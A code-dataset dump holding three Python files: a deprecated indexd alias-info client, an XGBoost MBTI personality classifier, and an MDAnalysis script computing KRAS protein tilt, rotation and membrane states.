hexsha
stringlengths 40
40
| size
int64 5
1.03M
| ext
stringclasses 9
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 3
241
| max_stars_repo_name
stringlengths 5
125
| max_stars_repo_head_hexsha
stringlengths 40
78
| max_stars_repo_licenses
sequencelengths 1
10
| max_stars_count
int64 1
208k
โ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
โ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
โ | max_issues_repo_path
stringlengths 3
241
| max_issues_repo_name
stringlengths 5
125
| max_issues_repo_head_hexsha
stringlengths 40
78
| max_issues_repo_licenses
sequencelengths 1
10
| max_issues_count
int64 1
116k
โ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
โ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
โ | max_forks_repo_path
stringlengths 3
241
| max_forks_repo_name
stringlengths 5
125
| max_forks_repo_head_hexsha
stringlengths 40
78
| max_forks_repo_licenses
sequencelengths 1
10
| max_forks_count
int64 1
105k
โ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
โ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
โ | content
stringlengths 5
1.03M
| avg_line_length
float64 1.5
756k
| max_line_length
int64 4
869k
| alphanum_fraction
float64 0.01
0.98
| count_classes
int64 0
3.38k
| score_classes
float64 0
0.01
| count_generators
int64 0
832
| score_generators
float64 0
0
| count_decorators
int64 0
2.75k
| score_decorators
float64 0
0
| count_async_functions
int64 0
623
| score_async_functions
float64 0
0
| count_documentation
int64 3
581k
| score_documentation
float64 0.4
0.6
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6ab57006541d451df413f174cce8e16652508bf7 | 1,399 | py | Python | indexclient/parsers/info.py | uc-cdis/indexclient | 5d61bdb2cb9c0104f173d7bba43d92449a093c6d | [
"Apache-2.0"
] | 2 | 2020-02-19T15:52:13.000Z | 2021-10-30T12:06:22.000Z | indexclient/parsers/info.py | uc-cdis/indexclient | 5d61bdb2cb9c0104f173d7bba43d92449a093c6d | [
"Apache-2.0"
] | 20 | 2017-11-30T18:15:53.000Z | 2021-08-20T16:14:17.000Z | indexclient/parsers/info.py | uc-cdis/indexclient | 5d61bdb2cb9c0104f173d7bba43d92449a093c6d | [
"Apache-2.0"
] | 1 | 2019-01-31T21:07:50.000Z | 2019-01-31T21:07:50.000Z | import sys
import json
import logging
import argparse
import warnings
import requests
from indexclient import errors
# DEPRECATED 11/2019 -- interacts with old `/alias/` endpoint.
# For creating aliases for indexd records, prefer using
# the `add_alias` function, which interacts with the new
# `/index/{GUID}/aliases` endpoint.
def info(host, port, name, **kwargs):
"""
Retrieve info by name.
"""
warnings.warn(
(
"This function is deprecated. For creating aliases for indexd "
"records, prefer using the `add_alias_for_did` function, which "
"interacts with the new `/index/{GUID}/aliases` endpoint."
),
DeprecationWarning,
)
resource = "http://{host}:{port}/alias/{name}".format(
host=host, port=port, name=name
)
res = requests.get(resource)
try:
res.raise_for_status()
except Exception as err:
raise errors.BaseIndexError(res.status_code, res.text)
try:
doc = res.json()
except ValueError as err:
reason = json.dumps({"error": "invalid json payload returned"})
raise errors.BaseIndexError(res.status_code, reason)
sys.stdout.write(json.dumps(doc))
def config(parser):
"""
Configure the info command.
"""
parser.set_defaults(func=info)
parser.add_argument("name", help="name of information to retrieve")
| 25.436364 | 76 | 0.653324 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 586 | 0.418871 |
6ab606d6bade1bb254f8ee2b1905c9d3d07e2051 | 11,447 | py | Python | ai_analysis.py | kwangilkimkenny/chatbot_seq2seq_flask | f2f3bda9311c5f2930aebc8ae4a6497597b190e1 | [
"MIT"
] | null | null | null | ai_analysis.py | kwangilkimkenny/chatbot_seq2seq_flask | f2f3bda9311c5f2930aebc8ae4a6497597b190e1 | [
"MIT"
] | null | null | null | ai_analysis.py | kwangilkimkenny/chatbot_seq2seq_flask | f2f3bda9311c5f2930aebc8ae4a6497597b190e1 | [
"MIT"
] | null | null | null |
import pandas as pd
import numpy as np
import re
import pickle
# plotting
import seaborn as sns
import matplotlib.pyplot as plt
# Tune learning_rate
from numpy import loadtxt
from xgboost import XGBClassifier
from sklearn.model_selection import GridSearchCV
from sklearn.model_selection import StratifiedKFold
# First XGBoost model for MBTI dataset
from numpy import loadtxt
from xgboost import XGBClassifier
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score
##### Compute list of subject with Type | list of comments
from nltk.stem import PorterStemmer, WordNetLemmatizer
from nltk.corpus import stopwords
from nltk import word_tokenize
import nltk
nltk.download('wordnet')
from sklearn.feature_extraction.text import TfidfTransformer
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.manifold import TSNE
#ํ์
์ ์ซ์๋ก ๋ณํ
def get_types(row):
t=row['type']
I = 0; N = 0
T = 0; J = 0
if t[0] == 'I': I = 1
elif t[0] == 'E': I = 0
else: print('I-E incorrect')
if t[1] == 'N': N = 1
elif t[1] == 'S': N = 0
else: print('N-S incorrect')
if t[2] == 'T': T = 1
elif t[2] == 'F': T = 0
else: print('T-F incorrect')
if t[3] == 'J': J = 1
elif t[3] == 'P': J = 0
else: print('J-P incorrect')
return pd.Series( {'IE':I, 'NS':N , 'TF': T, 'JP': J })
#๋์
๋๋ฆฌํ์ผ ์ค์
b_Pers = {'I':0, 'E':1, 'N':0, 'S':1, 'F':0, 'T':1, 'J':0, 'P':1}
#๋ฆฌ์คํธ๋ฅผ ๋๊ฐ์ฉ ๋ฌถ์ด์ ๋ฆฌ์คํธ๋ก ๋ง๋ฌ
b_Pers_list = [{0:'I', 1:'E'}, {0:'N', 1:'S'}, {0:'F', 1:'T'}, {0:'J', 1:'P'}]
def translate_personality(personality):
# transform mbti to binary vector
return [b_Pers[l] for l in personality]
def translate_back(personality):
# transform binary vector to mbti personality
s = ""
for i, l in enumerate(personality):
s += b_Pers_list[i][l]
return s
# We want to remove these from the psosts
unique_type_list = ['INFJ', 'ENTP', 'INTP', 'INTJ', 'ENTJ', 'ENFJ', 'INFP', 'ENFP',
'ISFP', 'ISTP', 'ISFJ', 'ISTJ', 'ESTP', 'ESFP', 'ESTJ', 'ESFJ']
unique_type_list = [x.lower() for x in unique_type_list]
# Lemmatize
stemmer = PorterStemmer()
lemmatiser = WordNetLemmatizer()
# Cache the stop words for speed
cachedStopWords = stopwords.words("english")
def pre_process_data(data, remove_stop_words=True, remove_mbti_profiles=True):
list_personality = []
list_posts = []
len_data = len(data)
i=0
for row in data.iterrows():
i+=1
if (i % 500 == 0 or i == 1 or i == len_data):
print("%s of %s rows" % (i, len_data))
##### Remove and clean comments
posts = row[1].posts
temp = re.sub('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', ' ', posts)
temp = re.sub("[^a-zA-Z]", " ", temp)
temp = re.sub(' +', ' ', temp).lower()
if remove_stop_words:
temp = " ".join([lemmatiser.lemmatize(w) for w in temp.split(' ') if w not in cachedStopWords])
else:
temp = " ".join([lemmatiser.lemmatize(w) for w in temp.split(' ')])
if remove_mbti_profiles:
for t in unique_type_list:
temp = temp.replace(t,"")
type_labelized = translate_personality(row[1].type)
list_personality.append(type_labelized)
list_posts.append(temp)
list_posts = np.array(list_posts)
list_personality = np.array(list_personality)
return list_posts, list_personality
# read data
# data = pd.read_csv('/Users/jongphilkim/Desktop/Django_WEB/essayfitaiproject_2020_12_09/essayai/mbti_1.csv')
data = pd.read_csv('./mbti/mbti_1.csv')
# get_types ํจ์ ์ ์ฉ
data = data.join(data.apply (lambda row: get_types (row),axis=1))
# load
with open('./mbti/list_posts.pickle', 'rb') as f:
list_posts = pickle.load(f)
# load
with open('./mbti/list_personality.pickle', 'rb') as f:
list_personality = pickle.load(f)
# # Posts to a matrix of token counts
cntizer = CountVectorizer(analyzer="word",
max_features=1500,
tokenizer=None,
preprocessor=None,
stop_words=None,
max_df=0.7,
min_df=0.1)
# Learn the vocabulary dictionary and return term-document matrix
print("CountVectorizer...")
X_cnt = cntizer.fit_transform(list_posts)
#################################################
#save!!! model X_cnt
import pickle
# save
# with open('./essayai/ai_character/mbti/data_X_cnt.pickle', 'wb') as f:
# pickle.dump(X_cnt, f, pickle.HIGHEST_PROTOCOL)
# load
with open('./mbti/data_X_cnt.pickle', 'rb') as f:
X_cnt = pickle.load(f)
#################################################
# Transform the count matrix to a normalized tf or tf-idf representation
tfizer = TfidfTransformer()
print("Tf-idf...")
# Learn the idf vector (fit) and transform a count matrix to a tf-idf representation
X_tfidf = tfizer.fit_transform(X_cnt).toarray()
# load
with open('./mbti/data.pickle', 'rb') as f:
X_tfidf = pickle.load(f)
def mbti_classify(text):
type_indicators = [ "IE: Introversion (I) / Extroversion (E)", "NS: Intuition (N) โ Sensing (S)",
"FT: Feeling (F) - Thinking (T)", "JP: Judging (J) โ Perceiving (P)" ]
# Posts in tf-idf representation
X = X_tfidf
my_posts = str(text)
# The type is just a dummy so that the data prep fucntion can be reused
mydata = pd.DataFrame(data={'type': ['INFJ'], 'posts': [my_posts]})
my_posts, dummy = pre_process_data(mydata, remove_stop_words=True)
my_X_cnt = cntizer.transform(my_posts)
my_X_tfidf = tfizer.transform(my_X_cnt).toarray()
# setup parameters for xgboost
param = {}
param['n_estimators'] = 200
param['max_depth'] = 2
param['nthread'] = 8
param['learning_rate'] = 0.2
result = []
# Let's train type indicator individually
for l in range(len(type_indicators)):
print("%s ..." % (type_indicators[l]))
Y = list_personality[:,l]
# split data into train and test sets
seed = 7
test_size = 0.33
X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=test_size, random_state=seed)
# fit model on training data
model = XGBClassifier(**param)
model.fit(X_train, y_train)
# make predictions for my data
y_pred = model.predict(my_X_tfidf)
result.append(y_pred[0])
# print("* %s prediction: %s" % (type_indicators[l], y_pred))
print("The result is: ", translate_back(result))
#๊ฒฐ๊ณผ๋ฅผ ๋ฆฌ์คํธ์ ๋ด๊ณ
Result_list = list(translate_back(result))
#mbit ๊ฒฐ๊ณผ๊ฐ์ ๋ฐ๋ผ ๋ด์ฉ print ํ๊ธฐ
# read data
# data = pd.read_csv('/Users/jongphilkim/Desktop/Django_WEB/essayfitaiproject/essayai/mbti_exp.csv')
data = pd.read_csv('./mbti/mbti_exp.csv')
#์๋ก์ด ๋ฐ์ดํฐํ๋ ์์ ๋ง๋ค์ด์ ๊ณ์ฐ๋ ๊ฐ์ ์ถ๊ฐํ ์์
df2 = pd.DataFrame(index=range(0,4),columns=['Type', 'Explain'])
#๋ฆฌ์คํธ์์ ํ๊ธ์์ฉ ๋ถ๋ฌ์์ ๋ฐ์ดํฐํ๋ ์์ ๊ฐ์ ์ถ๋ ฅํ๋ฉด ๋จ
for i in range(0, len(Result_list)):
type = Result_list[i]
for j in range(0, len(data)):
if type == data.iloc[j,0]:
break
is_mbti = data.iloc[j,2]
df2.iloc[i, [0,1]] = [type, is_mbti]
print(df2)
return df2
# my_posts = """Describe a place or environment where you are perfectly content. What do you do or experience there, and why is it meaningful to you? 644 words out of 650 Gettysburg, a small town in the middle of Pennsylvania, was the sight of the largest, bloodiest battle in the Civil War. Something about these hallowed grounds draws me back every year for a three day camping trip with my family over Labor Day weekend. Every year, once school starts, I count the days until I take that three and half hour drive from Pittsburgh to Gettysburg. Each year, we leave after school ends on Friday and arrive in Gettysburg with just enough daylight to pitch the tents and cook up a quick dinner on the campfire. As more of the extended family arrives, we circle around the campfire and find out what is new with everyone. The following morning, everyone is up by nine and helping to make breakfast which is our best meal of the day while camping. Breakfast will fuel us for the day as we hike the vast battlefields. My Uncle Mark, my twin brother, Andrew, and I like to take charge of the family tour since we have the most passion and knowledge about the battle. I have learned so much from the stories Mark tells us while walking on the tours. Through my own research during these last couple of trips, I did some of the explaining about the events that occurred during the battle 150 years ago. My fondest experience during one trip was when we decided to go off of the main path to find a carving in a rock from a soldier during the battle. Mark had read about the carving in one of his books about Gettysburg, and we were determined to locate it. After almost an hour of scanning rocks in the area, we finally found it with just enough daylight to read what it said. After a long day of exploring the battlefield, we went back to the campsite for some 'civil war' stew. There is nothing special about the stew, just meat, vegetables and gravy, but for whatever reason, it is some of the best stew I have ever eaten. For the rest of the night, we enjoy the company of our extended family. My cousins, my brother and I listen to the stories from Mark and his friends experiences' in the military. After the parents have gone to bed, we stay up talking with each other, inching closer and closer to the fire as it gets colder. Finally, we creep back into our tents, trying to be as quiet as possible to not wake our parents. The next morning we awake red-eyed from the lack of sleep and cook up another fantastic breakfast. Unfortunately, after breakfast we have to pack up and head back to Pittsburgh. It will be another year until I visit Gettysburg again. There is something about that time I spend in Gettysburg that keeps me coming back to visit. For one, it is just a fun, relaxing time I get to spend with my family. This trip also fulfills my love for the outdoors. From sitting by the campfire and falling asleep to the chirp of the crickets, that is my definition of a perfect weekend. Gettysburg is also an interesting place to go for Civil War buffs like me. While walking down the Union line or walking Pickett's Charge, I imagine how the battle would have been played out around me. Every year when I visit Gettysburg, I learn more facts and stories about the battle, soldiers and generally about the Civil War. While I am in Gettysburg, I am perfectly content, passionate about the history and just enjoying the great outdoors with my family. This drive to learn goes beyond just my passion for history but applies to all of the math, science and business classes I have taken and clubs I am involved in at school. Every day, I am genuinely excited to learn.
# """
# test = mbti_classify(my_posts)
# print ('check')
# test
# print ('check2') | 41.625455 | 3,675 | 0.653621 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6,433 | 0.551573 |
6ab6c4226f6262d47cafb69a5403744916d50994 | 17,464 | py | Python | mummi_ras/online/aa/aa_get_tiltrot_z_state.py | mummi-framework/mummi-ras | 7f4522aad36661e4530e39c830ab8c2a6f134060 | [
"MIT"
] | 4 | 2021-11-16T07:16:36.000Z | 2022-02-16T23:33:46.000Z | mummi_ras/online/aa/aa_get_tiltrot_z_state.py | mummi-framework/mummi-ras | 7f4522aad36661e4530e39c830ab8c2a6f134060 | [
"MIT"
] | 1 | 2021-11-23T20:23:28.000Z | 2021-12-03T09:08:34.000Z | mummi_ras/online/aa/aa_get_tiltrot_z_state.py | mummi-framework/mummi-ras | 7f4522aad36661e4530e39c830ab8c2a6f134060 | [
"MIT"
] | 2 | 2021-11-23T19:54:59.000Z | 2022-02-16T23:32:17.000Z | ###############################################################################
# @todo add Pilot2-splash-app disclaimer
###############################################################################
""" Get's KRAS states """
import MDAnalysis as mda
from MDAnalysis.analysis import align
from MDAnalysis.lib.mdamath import make_whole
import os
import numpy as np
import math
############## Below section needs to be uncommented ############
import mummi_core
import mummi_ras
from mummi_core.utils import Naming
# # Logger has to be initialized the first thing in the script
from logging import getLogger
LOGGER = getLogger(__name__)
# # Innitilize MuMMI if it has not been done before
# MUMMI_ROOT = mummi.init(True)
# This is needed so the Naming works below
#@TODO fix this so we don't have these on import make them as an init
mummi_core.init()
dirKRASStates = Naming.dir_res('states')
dirKRASStructures = Naming.dir_res('structures')
# #RAS_ONLY_macrostate = np.loadtxt(os.path.join(dirKRASStates, "RAS-ONLY.microstates.txt"))
RAS_ONLY_macrostate = np.loadtxt(os.path.join(dirKRASStates, "ras-states.txt"),comments='#')
# #RAS_RAF_macrostate = np.loadtxt(os.path.join(dirKRASStates, "RAS-RAF.microstates.txt"))
RAS_RAF_macrostate = np.loadtxt(os.path.join(dirKRASStates, "ras-raf-states.txt"),comments='#') # Note diffrent number of columns so index change below
# TODO: CS, my edits to test
# RAS_ONLY_macrostate = np.loadtxt('ras-states.txt')
# RAS_RAF_macrostate = np.loadtxt('ras-raf-states.txt')
############## above section needs to be uncommented ############
# TODO: CS, my edits to test
# TODO: TSC, The reference structure has to currently be set as the 'RAS-ONLY-reference-structure.gro'
# TODO: TSC, path to the reference structure is: mummi_resources/structures/
kras_ref_universe = mda.Universe(os.path.join(dirKRASStructures, "RAS-ONLY-reference-structure.gro"))
# kras_ref_universe = mda.Universe("RAS-ONLY-reference-structure.gro")
# kras_ref_universe = mda.Universe('AA_pfpatch_000000004641_RAS_RAF2_411.gro')
# TODO: CS, not using these for x4 proteins; instead using protein_systems below to set num_res
######### Below hard codes the number of residues within RAS-only and RAS-RAF ##########
RAS_only_num_res = 184
RAS_RAF_num_res = 320
######### Above hard codes the number of residues within RAS-only and RAS-RAF ##########
####### This can be removed
# def get_kras(syst, kras_start):
# """Gets all atoms for a KRAS protein starting at 'kras_start'."""
# return syst.atoms[kras_start:kras_start+428]
####### This can be removed
def get_segids(u):
"""Identifies the list of segments within the system. Only needs to be called x1 time"""
segs = u.segments
segs = segs.segids
ras_segids = []
rasraf_segids = []
for i in range(len(segs)):
# print(segs[i])
if segs[i][-3:] == 'RAS':
ras_segids.append(segs[i])
if segs[i][-3:] == 'RAF':
rasraf_segids.append(segs[i])
return ras_segids, rasraf_segids
def get_protein_info(u,tag):
"""Uses the segments identified in get_segids to make a list of all proteins in the systems.\
Outputs a list of the first residue number of the protein, and whether it is 'RAS-ONLY', or 'RAS-RAF'.\
The 'tag' input defines what is used to identify the first residue of the protein. i.e. 'resname ACE1 and name BB'.\
Only needs to be called x1 time"""
ras_segids, rasraf_segids = get_segids(u)
if len(ras_segids) > 0:
RAS = u.select_atoms('segid '+ras_segids[0]+' and '+str(tag))
else:
RAS = []
if len(rasraf_segids) > 0:
RAF = u.select_atoms('segid '+rasraf_segids[0]+' and '+str(tag))
else:
RAF = []
protein_info = []#np.empty([len(RAS)+len(RAF),2])
for i in range(len(RAS)):
protein_info.append((RAS[i].resid,'RAS-ONLY'))
for i in range(len(RAF)):
protein_info.append((RAF[i].resid,'RAS-RAF'))
######## sort protein info
protein_info = sorted(protein_info)
######## sort protein info
return protein_info
def get_ref_kras():
"""Gets the reference KRAS struct. Only called x1 time when class is loaded"""
start_of_g_ref = kras_ref_universe.residues[0].resid
ref_selection = 'resid '+str(start_of_g_ref)+':'+str(start_of_g_ref+24)+' ' +\
str(start_of_g_ref+38)+':'+str(start_of_g_ref+54)+' ' +\
str(start_of_g_ref+67)+':'+str(start_of_g_ref+164)+' ' +\
'and (name CA or name BB)'
r2_26r40_56r69_166_ref = kras_ref_universe.select_atoms(str(ref_selection))
return kras_ref_universe.select_atoms(str(ref_selection)).positions - kras_ref_universe.select_atoms(str(ref_selection)).center_of_mass()
# Load inital ref frames (only need to do this once)
ref0 = get_ref_kras()
def getKRASstates(u,kras_indices):
"""Gets states for all KRAS proteins in path."""
# res_shift = 8
# all_glycine = u.select_atoms("resname GLY")
# kras_indices = []
# for i in range(0, len(all_glycine), 26):
# kras_indices.append(all_glycine[i].index)
########## Below is taken out of the function so it is only done once #########
# kras_indices = get_protein_info(u,'resname ACE1 and name BB')
########## Above is taken out of the function so it is only done once #########
# CS, for x4 cases:
# [{protein_x4: (protein_type, num_res)}]
protein_systems = [{'ras4a': ('RAS-ONLY', 185),
'ras4araf': ('RAS-RAF', 321),
'ras': ('RAS-ONLY', 184),
'rasraf': ('RAS-RAF', 320)}]
ALLOUT = []
for k in range(len(kras_indices)):
start_of_g = kras_indices[k][0]
protein_x4 = str(kras_indices[k][1])
try:
protein_type = [item[protein_x4] for item in protein_systems][0][0] # 'RAS-ONLY' OR 'RAS-RAF'
num_res = [item[protein_x4] for item in protein_systems][0][1]
except:
LOGGER.error('Check KRas naming between modules')
raise Exception('Error: unknown KRas name')
# TODO: CS, replacing this comment section with the above, to handle x4 protein types
# ---------------------------------------
# ALLOUT = []
# for k in range(len(kras_indices)):
# start_of_g = kras_indices[k][0]
# protein_type = str(kras_indices[k][1])
# ########## BELOW SECTION TO DETERMINE WHICH RESIDUES ARE PART OF THE PROTEIN GROUP - NEEDED FOR PBC REMOVAL ##############
# ########## POTENTIALLY REDO WITH A 'HARD-CODED' NUMBER OF RESIDUES PER PROTEIN GROUP (WHETHER RAS-ONLY OR RAS-RAF) #######
# ########## HAS BEEN REDONE WITH A 'HARD-CODED' NUMBER OF RESIDUES PER PROTEIN GROUP (WHETHER RAS-ONLY OR RAS-RAF) ########
# # if len(kras_indices) == 1:
# # krases0_BB = u.select_atoms('resid '+str(start_of_g)+':'+str(len(u.residues))+' and name BB') ####### HAS TO BE FIXED FOR BACKBONE ATOMS FOR SPECIFIC PROTEIN
# # elif len(kras_indices) > 1:
# # if k == len(kras_indices)-1:
# # krases0_BB = u.select_atoms('resid '+str(start_of_g)+':'+str(len(u.residues))+' and name BB')
# # else:
# # krases0_BB = u.select_atoms('resid '+str(start_of_g)+':'+str(kras_indices[k+1][0])+' and name BB')
# ########## ABOVE SECTION TO DETERMINE WHICH RESIDUES ARE PART OF THE PROTEIN GROUP - NEEDED FOR PBC REMOVAL ##############
#
# ########## Below hard codes the number of residues/beads in the RAS-ONLY and RAS-RAF simulations #########################
# if protein_type == 'RAS-ONLY':
# num_res = RAS_only_num_res
# elif protein_type == 'RAS-RAF':
# num_res = RAS_RAF_num_res
# ########## Above hard codes the number of residues/beads in the RAS-ONLY and RAS-RAF simulations #########################
# ---------------------------------------
# TODO: TSC, I changed the selection below, which can be used for the make_whole...
# krases0_BB = u.select_atoms('resid '+str(start_of_g)+':'+str(start_of_g+num_res)+' and (name CA or name BB)')
krases0_BB = u.select_atoms('resid '+str(start_of_g)+':'+str(start_of_g+num_res))
krases0_BB.guess_bonds()
r2_26r40_56r69_166 = u.select_atoms('resid '+str(start_of_g)+':'+str(start_of_g+24)+' ' +\
str(start_of_g+38)+':'+str(start_of_g+54)+' ' +\
str(start_of_g+67)+':'+str(start_of_g+164)+\
' and (name CA or name BB)')
u_selection = \
'resid '+str(start_of_g)+':'+str(start_of_g+24)+' '+str(start_of_g+38)+':'+str(start_of_g+54)+' ' +\
str(start_of_g+67)+':'+str(start_of_g+164)+' and (name CA or name BB)'
mobile0 = u.select_atoms(str(u_selection)).positions - u.select_atoms(str(u_selection)).center_of_mass()
# TODO: CS, something wrong with ref0 from get_kras_ref()
# just making ref0 = mobile0 to test for now
# ref0 = mobile0
# TSC removed this
R, RMSD_junk = align.rotation_matrix(mobile0, ref0)
######## TODO: TSC, Adjusted for AA lipid names ########
# lipids = u.select_atoms('resname POPX POPC PAPC POPE DIPE DPSM PAPS PAP6 CHOL')
lipids = u.select_atoms('resname POPC PAPC POPE DIPE SSM PAPS SAPI CHL1')
coords = ref0
RotMat = []
OS = []
r152_165 = krases0_BB.select_atoms('resid '+str(start_of_g+150)+':'+str(start_of_g+163)+' and (name CA or name BB)')
r65_74 = krases0_BB.select_atoms('resid '+str(start_of_g+63)+':'+str(start_of_g+72)+' and (name CA or name BB)')
timeframes = []
# TODO: CS, for AA need bonds to run make_whole()
# krases0_BB.guess_bonds()
# TODO: CS, turn off for now to test beyond this point
''' *** for AA, need to bring that back on once all else runs ***
'''
# @Tim and Chris S. this was commented out - please check.
#make_whole(krases0_BB)
j, rmsd_junk = mda.analysis.align.rotation_matrix((r2_26r40_56r69_166.positions-r2_26r40_56r69_166.center_of_mass()), coords)
RotMat.append(j)
OS.append(r65_74.center_of_mass()-r152_165.center_of_mass())
timeframes.append(u.trajectory.time)
if protein_type == 'RAS-RAF':
z_pos = []
############### NEED TO CONFIRM THE SELECTION OF THE RAF LOOP RESIDUES BELOW ####################
############### TODO: TSC, zshifting is set to -1 (instead of -2), as there are ACE caps that are separate residues in AA
#zshifting=-1
if protein_x4 == 'rasraf':
zshifting = -1
elif protein_x4 == 'ras4araf':
zshifting = 0
else:
zshifting = 0
LOGGER.error('Found unsupported protein_x4 type')
raf_loops_selection = u.select_atoms('resid '+str(start_of_g+zshifting+291)+':'+str(start_of_g+zshifting+294)+' ' +\
str(start_of_g+zshifting+278)+':'+str(start_of_g+zshifting+281)+' ' +\
' and (name CA or name BB)')
############### NEED TO CONFIRM THE SELECTION OF THE RAF LOOP RESIDUES ABOVE ####################
diff = (lipids.center_of_mass()[2]-raf_loops_selection.center_of_mass(unwrap=True)[2])/10
if diff < 0:
diff = diff+(u.dimensions[2]/10)
z_pos.append(diff)
z_pos = np.array(z_pos)
RotMatNP = np.array(RotMat)
OS = np.array(OS)
OA = RotMatNP[:, 2, :]/(((RotMatNP[:, 2, 0]**2)+(RotMatNP[:, 2, 1]**2)+(RotMatNP[:, 2, 2]**2))**0.5)[:, None]
OWAS = np.arccos(RotMatNP[:, 2, 2])*180/math.pi
OC_temp = np.concatenate((OA, OS), axis=1)
t = ((OC_temp[:, 0]*OC_temp[:, 3])+(OC_temp[:, 1]*OC_temp[:, 4]) +
(OC_temp[:, 2]*OC_temp[:, 5]))/((OC_temp[:, 0]**2)+(OC_temp[:, 1]**2)+(OC_temp[:, 2]**2))
OC = OA*t[:, None]
ORS_tp = np.concatenate((OC, OS), axis=1)
ORS_norm = (((ORS_tp[:, 3]-ORS_tp[:, 0])**2)+((ORS_tp[:, 4]-ORS_tp[:, 1])**2)+((ORS_tp[:, 5]-ORS_tp[:, 2])**2))**0.5
ORS = (OS - OC)/ORS_norm[:, None]
OACRS = np.cross(OA, ORS)
OZCA = OA * OA[:, 2][:, None]
Z_unit = np.full([len(OZCA), 3], 1)
Z_adjust = np.array([0, 0, 1])
Z_unit = Z_unit*Z_adjust
Z_OZCA = Z_unit-OZCA
OZPACB = Z_OZCA/((Z_OZCA[:, 0]**2+Z_OZCA[:, 1]**2+Z_OZCA[:, 2]**2)**0.5)[:, None]
OROTNOTSIGNED = np.zeros([len(ORS)])
for i in range(len(ORS)):
OROTNOTSIGNED[i] = np.arccos(np.dot(OZPACB[i, :], ORS[i, :]) /
(np.sqrt(np.dot(OZPACB[i, :], OZPACB[i, :]))) *
(np.sqrt(np.dot(ORS[i, :], ORS[i, :]))))*180/math.pi
OZPACBCRS_cross = np.cross(OZPACB, ORS)
OZPACBCRS = OZPACBCRS_cross/((OZPACBCRS_cross[:, 0]**2+OZPACBCRS_cross[:, 1]**2+OZPACBCRS_cross[:, 2]**2)**0.5)[:, None]
OFORSIGN_temp = (OA - OZPACBCRS)**2
OFORSIGN = OFORSIGN_temp[:, 0]+OFORSIGN_temp[:, 1]+OFORSIGN_temp[:, 2]
OROT = OROTNOTSIGNED
for i in range(len(OROT)):
if OROT[i] < 0:
OROT[i] = -(OROT[i])
for i in range(len(OROT)):
if OFORSIGN[i] < 0.25:
OROT[i] = -(OROT[i])
###### Below introduces new shift to account for upper vs. lower leaflet #####
for i in range(len(OWAS)):
OWAS[i] = abs(-(OWAS[i])+180) # made this an absolute value so that the tilt remains positive
for i in range(len(OROT)):
if OROT[i] < 0:
OROT[i] = OROT[i]+180
elif OROT[i] > 0:
OROT[i] = OROT[i]-180
###### Above introduces new shift to account for upper vs. lower leaflet #####
###### Below might have to be updated to take into account the periodic nature of the rotation ######
if protein_type == 'RAS-ONLY':
states = np.zeros(len(OROT))
for j in range(len(OROT)):
diff0 = []
for i in range(len(RAS_ONLY_macrostate)):
#diff0.append([((RAS_ONLY_macrostate[i,0]-OWAS[j])**2+(RAS_ONLY_macrostate[i,1]-OROT[j])**2)**0.5, RAS_ONLY_macrostate[i,6]])
diff0.append([((RAS_ONLY_macrostate[i,1]-OWAS[j])**2+(RAS_ONLY_macrostate[i,0]-OROT[j])**2)**0.5, RAS_ONLY_macrostate[i,5]])
diff0.sort()
states[j] = diff0[0][1]
elif protein_type == 'RAS-RAF':
states = np.zeros(len(OROT))
for j in range(len(OROT)):
### below: adding in the requirements for the 'high-z' state ###
if (OROT[j] < -45 or OROT[j] > 140) and z_pos[j] > 4.8:
states[j] = 3
else:
### above: adding in the requirements for the 'high-z' state ###
diff0 = []
for i in range(len(RAS_RAF_macrostate)):
#diff0.append([((RAS_RAF_macrostate[i,0]-OWAS[j])**2+(RAS_RAF_macrostate[i,1]-OROT[j])**2)**0.5, RAS_RAF_macrostate[i,6]])
diff0.append([((RAS_RAF_macrostate[i,1]-OWAS[j])**2+(RAS_RAF_macrostate[i,0]-OROT[j])**2)**0.5, RAS_RAF_macrostate[i,4]])
diff0.sort()
states[j] = diff0[0][1]
###### Above might have to be updated to take into account the periodic nature of the rotation ######
###### Assume we want to remove this? Where is the code that reads this information? i.e. will there be knock-on effects? ######
###### If feedback code needs index 5 (two_states) from the output, deleting this four_states will shift that to index 4 #######
# four_states = np.zeros(len(OROT))
# for j in range(len(OROT)):
# diff0 = []
# for i in range(len(macrostate4)):
# diff0.append([((macrostate4[i,0]-OWAS[j])**2+(macrostate4[i,1]-OROT[j])**2)**0.5, macrostate4[i,6]])
# diff0.sort()
# four_states[j] = diff0[0][1]+1
###### below: old output details.... ######################################
###### Updated - RAS-only to NOT HAVE the Z-distance ######################
###### Updated - Added in the protein 'tag', i.e. RAS-ONLY or RAS-RAF #####
# OUTPUT = np.zeros([len(OROT), 6])
# for i in range(len(OROT)):
# OUTPUT[i] = timeframes[i], OWAS[i], OROT[i], z_pos[i], four_states[i], two_states[i]
###### above: old output details.... ######################################
###### below: NEW output details.... ######################################
if protein_type == 'RAS-ONLY':
OUTPUT = np.zeros([len(OROT), 6]).astype(object)
for i in range(len(OROT)):
OUTPUT[i] = str(protein_type), timeframes[i], OWAS[i], OROT[i], 'n/a', int(states[i])
elif protein_type == 'RAS-RAF':
OUTPUT = np.zeros([len(OROT), 6]).astype(object)
for i in range(len(OROT)):
OUTPUT[i] = str(protein_type), timeframes[i], OWAS[i], OROT[i], z_pos[i], int(states[i])
ALLOUT.append(OUTPUT)
return np.asarray(ALLOUT)
#np.savetxt(str(tpr)+"_tilt_rot_z_state.KRAS_"+str(k+1)+".txt", OUTPUT, fmt=['%i','%10.3f','%10.3f','%10.3f','%i','%i'], delimiter=' ')
| 47.072776 | 173 | 0.57129 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8,718 | 0.499198 |
